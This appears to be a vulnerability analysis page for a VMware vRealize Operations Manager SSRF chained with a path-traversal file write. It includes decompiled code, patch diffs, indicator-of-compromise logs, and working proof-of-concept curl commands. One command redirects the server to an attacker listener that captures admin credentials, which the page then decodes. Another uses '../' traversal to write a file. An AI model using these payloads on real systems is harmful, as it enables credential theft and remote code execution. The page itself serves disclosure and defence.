Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
5

CVE-2021-21975

Disclosure Date: March 31, 2021
Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Server Side Request Forgery in vRealize Operations Manager API (CVE-2021-21975) prior to 8.4 may allow a malicious actor with network access to the vRealize Operations Manager API can perform a Server Side Request Forgery attack to steal administrative credentials.

Add Assessment

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis
3

SSRF, so hot right now!

CVSS V3 Severity and Metrics
Base Score:
7.5 High
Impact Score:
3.6
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
None
Availability (A):
None

General Information

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis

Description

On March 30, 2021, VMware published a security advisory for CVE-2021-21975 and CVE-2021-21983, two chainable vulnerabilities in its vRealize Operations Manager product. CVE-2021-21975 is an unauthenticated server-side request forgery (SSRF), while CVE-2021-21983 is an authenticated arbitrary file write. Successfully chaining both vulnerabilities achieves unauthenticated remote code execution (RCE) in vRealize Operations Manager and any product using it as a component.

At the time of public disclosure, Positive Technologies tweeted about CVE-2021-21975 and CVE-2021-21983, which were both discovered by their researcher Egor Dimitrenko.

Affected products

  • vRealize Operations Manager
    • 7.0.0
    • 7.5.0
    • 8.0.0, 8.0.1
    • 8.1.0, 8.1.1
    • 8.2.0
    • 8.3.0
  • VMware Cloud Foundation (vROps)
    • 3.x
    • 4.x
  • vRealize Suite Lifecycle Manager (vROps)
    • 8.x

Technical analysis

CVE-2021-21975 is the primary focus of this analysis.

CVE-2021-21975 (SSRF)

/nodes/thumbprints (mapped to /casa/nodes/thumbprints) is an unauthenticated endpoint.

  <sec:http pattern="/nodes/thumbprints" security='none'/>

It accepts a POST request whose body is a JSON array of network address strings.

  @RequestMapping(value = {"/nodes/thumbprints"}, method = {RequestMethod.POST})
  @ResponseStatus(HttpStatus.OK)
  public ArrayList<ThumbprintResource> getNodesThumbprints(@RequestBody String[] addresses) {
    return this.clusterDefService.getNodesThumbprints(new HashSet(Arrays.asList((Object[])addresses)));
  }

Each address is sent a crafted GET request, leading to a partially controlled SSRF.

  public ArrayList<ThumbprintResource> getNodesThumbprints(Set<String> addresses) {
    ArrayList<ThumbprintResource> ipToThumbprint = new ArrayList<>();
    if (null == addresses) {
      return ipToThumbprint;
    }
    configureInsecurRestTemplate();

    HttpMapFunction f = new HttpMapFunction(addresses.<String>toArray(new String[addresses.size()]), RequestMethod.GET, "/node/thumbprint", null, null, this.webappInfo, this.timeoutForGetRequest, this.restTemplate);








    HttpMapResponse[] responses = f.execute();

    for (HttpMapResponse resp : responses) {
      if (resp.getHttpCode() == HttpStatus.OK.value()) {
        String data = resp.getDocument().replace('"', ' ').trim();
        ipToThumbprint.add(new ThumbprintResource(resp.getSliceAddress(), data));
      } else {
        ipToThumbprint.add(new ThumbprintResource(resp.getSliceAddress(), null));
      }
    }

    return ipToThumbprint;
  }

PoC

The provided workaround provided enough information to develop a PoC.

wvu@kharak:~$ curl -k https://192.168.123.185/casa/nodes/thumbprints -H "Content-Type: application/json" -d '["192.168.123.1:8443/#"]'

Appending # (presumably URI fragment syntax) to the SSRF URI allows for full control of the GET request path.

wvu@kharak:~$ ncat -lkv --ssl 8443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: DD68 63E6 C329 1851 F74F 797A F684 7823 207A 55E7
Ncat: Listening on :::8443
Ncat: Listening on 0.0.0.0:8443
Ncat: Connection from 192.168.123.185.
Ncat: Connection from 192.168.123.185:36070.
GET / HTTP/1.1
Accept: application/xml, application/json
Content-Type: application/json
Accept-Charset: big5, big5-hkscs, cesu-8, euc-jp, euc-kr, gb18030, gb2312, gbk, ibm-thai, ibm00858, ibm01140, ibm01141, ibm01142, ibm01143, ibm01144, ibm01145, ibm01146, ibm01147, ibm01148, ibm01149, ibm037, ibm1026, ibm1047, ibm273, ibm277, ibm278, ibm280, ibm284, ibm285, ibm290, ibm297, ibm420, ibm424, ibm437, ibm500, ibm775, ibm850, ibm852, ibm855, ibm857, ibm860, ibm861, ibm862, ibm863, ibm864, ibm865, ibm866, ibm868, ibm869, ibm870, ibm871, ibm918, iso-2022-cn, iso-2022-jp, iso-2022-jp-2, iso-2022-kr, iso-8859-1, iso-8859-13, iso-8859-15, iso-8859-2, iso-8859-3, iso-8859-4, iso-8859-5, iso-8859-6, iso-8859-7, iso-8859-8, iso-8859-9, jis_x0201, jis_x0212-1990, koi8-r, koi8-u, shift_jis, tis-620, us-ascii, utf-16, utf-16be, utf-16le, utf-32, utf-32be, utf-32le, utf-8, windows-1250, windows-1251, windows-1252, windows-1253, windows-1254, windows-1255, windows-1256, windows-1257, windows-1258, windows-31j, x-big5-hkscs-2001, x-big5-solaris, x-compound_text, x-euc-jp-linux, x-euc-tw, x-eucjp-open, x-ibm1006, x-ibm1025, x-ibm1046, x-ibm1097, x-ibm1098, x-ibm1112, x-ibm1122, x-ibm1123, x-ibm1124, x-ibm1166, x-ibm1364, x-ibm1381, x-ibm1383, x-ibm300, x-ibm33722, x-ibm737, x-ibm833, x-ibm834, x-ibm856, x-ibm874, x-ibm875, x-ibm921, x-ibm922, x-ibm930, x-ibm933, x-ibm935, x-ibm937, x-ibm939, x-ibm942, x-ibm942c, x-ibm943, x-ibm943c, x-ibm948, x-ibm949, x-ibm949c, x-ibm950, x-ibm964, x-ibm970, x-iscii91, x-iso-2022-cn-cns, x-iso-2022-cn-gb, x-iso-8859-11, x-jis0208, x-jisautodetect, x-johab, x-macarabic, x-maccentraleurope, x-maccroatian, x-maccyrillic, x-macdingbat, x-macgreek, x-machebrew, x-maciceland, x-macroman, x-macromania, x-macsymbol, x-macthai, x-macturkish, x-macukraine, x-ms932_0213, x-ms950-hkscs, x-ms950-hkscs-xp, x-mswin-936, x-pck, x-sjis_0213, x-utf-16le-bom, x-utf-32be-bom, x-utf-32le-bom, x-windows-50220, x-windows-50221, x-windows-874, x-windows-949, x-windows-950, x-windows-iso2022jp
X-VSCM-Request-Id: ak00003Y
Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjpSZmRzeEsvNU00TVNrMnNpMTc0S0loRFY=
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_212
Host: 192.168.123.1:8443
Connection: keep-alive

Note the Authorization: Basic header, which is present in older vulnerable versions but missing from 8.3.0 and patched versions. The Base64 bWFpbnRlbmFuY2VBZG1pbjpSZmRzeEsvNU00TVNrMnNpMTc0S0loRFY= decodes to the credentials maintenanceAdmin:RfdsxK/5M4MSk2si174KIhDV.

Patch

The patch creates and uses a new REST template without maintenanceAdmin credentials.

   public ArrayList<ThumbprintResource> getNodesThumbprints(Set<String> addresses) {
     ArrayList<ThumbprintResource> ipToThumbprint = new ArrayList<>();
     if (null == addresses) {
       return ipToThumbprint;
     }
-    configureInsecurRestTemplate();

-    HttpMapFunction f = new HttpMapFunction(addresses.<String>toArray(new String[addresses.size()]), RequestMethod.GET, "/node/thumbprint", null, null, this.webappInfo, this.timeoutForGetRequest, this.restTemplate);
+    HttpMapFunction f = new HttpMapFunction(addresses.<String>toArray(new String[addresses.size()]), RequestMethod.GET, "/node/thumbprint", null, null, this.webappInfo, this.timeoutForGetRequest, this.nonSecureRestTemplate);








     HttpMapResponse[] responses = f.execute();

     for (HttpMapResponse resp : responses) {
       if (resp.getHttpCode() == HttpStatus.OK.value()) {
         String data = resp.getDocument().replace('"', ' ').trim();
         ipToThumbprint.add(new ThumbprintResource(resp.getSliceAddress(), data));
       } else {
         ipToThumbprint.add(new ThumbprintResource(resp.getSliceAddress(), null));
       }
     }

     return ipToThumbprint;
   }
+  <bean id="nonSecureRestTemplate"
+        factory-bean="restTemplateFactory"
+        factory-method="getNonSecureNonAuthorizedRestTemplate"/>
+  public RestTemplate getNonSecureNonAuthorizedRestTemplate() {
+    SslClientHttpRequestFactory factory = getSslClientHttpRequestFactory(null);
+    factory.setTrustManager((X509TrustManager)new Object(this));
+
+
+
+
+
+
+
+
+
+
+
+
+
+    factory.setVerifier((HostnameVerifier)new Object(this));
+
+
+
+
+
+    factory.setReadTimeout(0);
+    factory.setConnectTimeout(0);
+    return createNonAuthorizedRestTemplate((ClientHttpRequestFactory)factory, new ClientHttpRequestInterceptor[0]);
+  }

[snip]

+  public RestTemplate getNonSecureNonAuthorizedRestTemplate(String hostIdentifier) {
+    SslClientHttpRequestFactory srf = getSslClientHttpRequestFactory(hostIdentifier);
+    if (isThumbprint(hostIdentifier)) {
+      srf.setThumbprintTrustManager(hostIdentifier);
+    }
+    return createNonAuthorizedRestTemplate((ClientHttpRequestFactory)srf, new ClientHttpRequestInterceptor[0]);
+  }
   private RestTemplate createStandardRestTemplate(ClientHttpRequestFactory crf, ClientHttpRequestInterceptor... interceptors) {
     RestTemplate rt = createRestTemplate(crf, interceptors);
     if (this.maintenanceUserAuthorizationInterceptor != null) {
       rt.getInterceptors().add(this.maintenanceUserAuthorizationInterceptor);
     }

     return rt;
   }








+  private RestTemplate createNonAuthorizedRestTemplate(ClientHttpRequestFactory crf, ClientHttpRequestInterceptor... interceptors) {
+    RestTemplate rt = createRestTemplate(crf, interceptors);
+    return rt;
+  }
   <bean id="maintenanceUserAuthorizationInterceptor"
         class="com.vmware.vcops.casa.support.MaintenanceUserAuthorizationInterceptor">
   </bean>
public class MaintenanceUserAuthorizationInterceptor
  implements ClientHttpRequestInterceptor
{
  public ClientHttpResponse intercept(HttpRequest request, byte[] body, ClientHttpRequestExecution execution) throws IOException {
    if (!request.getHeaders().containsKey("Authorization")) {
      String authValue = MaintenanceUserUtils.getAuthorizationValue();
      if (authValue != null) {
        request.getHeaders().set("Authorization", authValue);
      }
    }
    return execution.execute(request, body);
  }
}

CVE-2021-21983 (file write)

CVE-2021-21983 is a path traversal in the /casa/private/config/slice/ha/certificate endpoint.

  @RequestMapping(value = {"/private/config/slice/ha/certificate"}, method = {RequestMethod.POST})
  @ResponseBody
  @ResponseStatus(HttpStatus.OK)
  @Auditable(category = Auditable.Category.CONFIG_SLICE_CERTIFICATE, auditMessage = "Accepting replicated certificate from Master slice")
  public void handleCertificateUpload(@RequestParam("name") String name, @RequestParam("file") MultipartFile multiPartFile) {
    try {
      this.certificateService.handleCertificateFile(multiPartFile, name);
    } catch (Exception e) {
      this.log.error("Error handling replica certificate upload: {}", e);
      throw new CasaException(e, "Failed to upload replica certificate");
    }
  }
   void handleCertificateFile(MultipartFile multiPartFile, String fileName) {
+    if (fileName == null || !fileName.equals("cakey.pem")) {
+      throw new CasaException("Wrong cert file name is provided");
+    }
     File certFile = new File(this.certDirPath, fileName);

     try {
       multiPartFile.transferTo(certFile);

       certFile.setExecutable(false, false);
     } catch (Exception e) {
       throw new CasaException("Error writing Certificate file: " + certFile.getAbsolutePath(), e);
     }
   }

PoC

wvu@kharak:~$ curl -kH "Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjpSZmRzeEsvNU00TVNrMnNpMTc0S0loRFY=" https://192.168.123.185/casa/private/config/slice/ha/certificate -F name=../../../../../tmp/vulnerable -F "file=@-; filename=vulnerable" <<<vulnerable
wvu@kharak:~$
root@vRealizeClusterNode [ /tmp ]# ls -l vulnerable
-rw-r--r-- 1 admin admin 11 Apr  5 22:18 vulnerable
root@vRealizeClusterNode [ /tmp ]# cat vulnerable
vulnerable
root@vRealizeClusterNode [ /tmp ]#

IOCs

Numerous log files can be found in /usr/lib/vmware-casa/casa-webapp/logs. The file /usr/lib/vmware-casa/casa-webapp/logs/casa.log is of particular interest for tracking suspicious requests.

2021-04-03 07:58:33,113 [ak0000BL] [ajp-nio-127.0.0.1-8011-exec-10]  INFO casa.support.RequestIdIncomingInterceptor:60 - Request POST /casa/nodes/thumbprints from 192.168.123.1: New request id ak0000BL
2021-04-03 07:58:33,113 [ak0000BL] [ajp-nio-127.0.0.1-8011-exec-10]  INFO casa.support.HttpMapFunction:325 - execute, hosts=[192.168.123.1:8443/#], op=GET, relativeUrl=/node/thumbprint, doc={}
2021-04-03 07:58:33,116 [ak0000BL] [pool-36-thread-1]  INFO casa.support.HttpTask:128 - Making HTTP call to url=https://192.168.123.1:8443/#/casa/node/thumbprint
2021-04-03 07:58:33,117 [ak0000BL] [pool-36-thread-1] DEBUG casa.support.CasaRestTemplate:147 - HTTP GET https://192.168.123.1:8443/#/casa/node/thumbprint
2021-04-03 07:58:33,117 [ak0000BL] [pool-36-thread-1] DEBUG casa.support.CasaRestTemplate:147 - Accept=[text/plain, application/json, application/*+json, */*]
2021-04-03 07:58:33,117 [ak0000BL] [pool-36-thread-1] DEBUG casa.support.CasaRestTemplate:147 - Writing [{}] as "application/json"
2021-04-03 07:58:33,118 [ak0000BL] [pool-36-thread-1]  INFO casa.support.MaintenanceUserUtils:33 - Maintenance User credentials initialized
2021-04-03 07:58:43,114 [ak0000BL] [ajp-nio-127.0.0.1-8011-exec-10]  WARN casa.support.HttpMapFunction:414 - Error retrieving HttpTask future: java.util.concurrent.CancellationException
2021-04-03 07:58:43,116 [ak0000BL] [ajp-nio-127.0.0.1-8011-exec-10]  INFO casa.support.RequestIdIncomingInterceptor:93 - Request POST /casa/nodes/thumbprints: Done
2021-04-05 22:18:22,066 [        ] [ajp-nio-127.0.0.1-8011-exec-10]  INFO casa.security.UsernamePasswordAuthenticator:104 - Authenticated maintenance user 'maintenanceAdmin'
2021-04-05 22:18:22,066 [ak0002Q9] [ajp-nio-127.0.0.1-8011-exec-10]  INFO casa.support.RequestIdIncomingInterceptor:60 - Request POST /casa/private/config/slice/ha/certificate from 192.168.123.1: New request id ak0002Q9
2021-04-05 22:18:22,067 [ak0002Q9] [ajp-nio-127.0.0.1-8011-exec-10]  INFO casa.support.RequestIdIncomingInterceptor:93 - Request POST /casa/private/config/slice/ha/certificate: Done

Note that the SSRF most likely requires a callback address in order to extract the Authorization: Basic header and any credentials it contains.

Guidance

Please see the Response Matrix in the advisory for fixed versions and workarounds.

References

This site uses cookies for anonymized analytics. For more information or to change your cookie settings, view our Cookie Policy.